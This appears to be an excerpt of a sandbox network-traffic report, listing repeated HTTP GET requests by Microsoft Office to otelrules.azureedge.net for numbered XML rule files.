Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
